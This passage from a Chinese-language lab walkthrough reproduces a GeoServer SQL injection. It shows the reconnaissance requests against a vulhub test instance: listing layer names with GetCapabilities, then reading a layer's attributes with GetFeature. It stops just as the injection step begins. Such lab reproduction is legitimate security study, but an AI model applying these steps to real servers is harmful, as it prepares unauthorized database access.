GeoServer SQL 注入漏洞复现（CVE-2024-25157）附poc_geoserverl漏洞

2.获取每个功能名称

在进行注入之前，首先要获取地理图层列表信息，这是sql注入payload中的一个必要参数

访问以下url获取：
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>标签中的信息，就是地理图层列表。这里选择vulhub:example作为地理图层列表信息

3.获取功能的属性

将上一步获取的typeName的name属性值拼接到url中，构成url如下：
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json

4.构造SQL 注入
Feature ty